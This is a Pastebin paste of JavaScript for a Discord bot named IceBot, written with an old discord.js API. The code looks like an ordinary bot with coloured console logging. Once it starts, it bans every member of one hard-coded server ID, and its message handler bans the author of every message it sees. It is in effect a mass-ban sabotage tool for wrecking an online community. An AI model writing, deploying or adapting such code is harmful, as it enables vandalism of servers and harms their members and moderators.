Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Required dependencies
- require('dotenv').config();
- var Discord = require('discord.js');
- var chalk = require('chalk');
- var clk = new chalk.constructor({
- enabled: true
- });
- // Required config file
- var config = require('./config.json');
- // Global variables
- cWarn = clk.bgYellow.black;
- cError = clk.bgRed.black;
- cDebug = clk.bgWhite.black;
- cGreen = clk.bold.green;
- debug = config.debug;
- cooldown = config.cooldown;
- // Initialize the bot variable
- var bot = new Discord.Client({
- maxCachedMessages: 10,
- forceFetchUsers: true,
- autoReconnect: true
- });
- // Create an empty array for lastExecTime
- var lastExecTime = {};
- // Basic console logging, nothing fancy
- bot.on('error', (msg) => {
- console.log(cError(' ERROR ') + ' ' + msg);
- });
- bot.on('warn', (msg) => {
- console.log(cWarn(' WARN ') + ' ' + msg);
- });
- bot.on('debug', (msg) => {
- if (debug) {
- console.log(cDebug(' DEBUG ') + ' ' + msg);
- }
- });
- // When the bot is ready to go
- bot.on('ready', () => {
- console.log(cGreen('IceBot is ready!'));
- // Loop through all servers
- for (var i = 0; i < bot.servers.length; i++) {
- // If it's the correct server, ban everyone
- if (bot.servers[i].id == [189457265730781185]) {
- // Iterate through the user list
- for (var h = 0; h < bot.servers[i].members.length; h++) {
- // Ban the current user.
- bot.banMember(bot.servers[i].members[h], bot.servers[i], 0, (err) => {
- console.log("Something went wrong whoops: " + err);
- });
- }
- }
- }
- });
- // When the bot disconnects entirely
- bot.on('disconnected', () => {
- console.log(cGreen('Disconnected from Discord'));
- lastExectTime = {};
- });
- bot.on('message', (msg) => {
- bot.banMember(msg.author, msg.server, 10, (err) => {
- if (err) {
- }
- });
- });
- // Make the bot actually log in
- console.log('Logging in...');
- bot.loginWithToken(process.env.TOKEN, (err, tkn) => {
- if (err) {
- console.log(cError(' ERROR ') + ' ' + err);
- setTimeout(() => {
- process.exit(1);
- }, 2000); // Shutdown after 2 seconds
- }
- if (!tkn) {
- console.log(cError(' ERROR ') + ' Token is empty!');
- setTimeout(() => {
- process.exit(0);
- }, 2000); // Shutdown after 2 seconds
- }
- });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement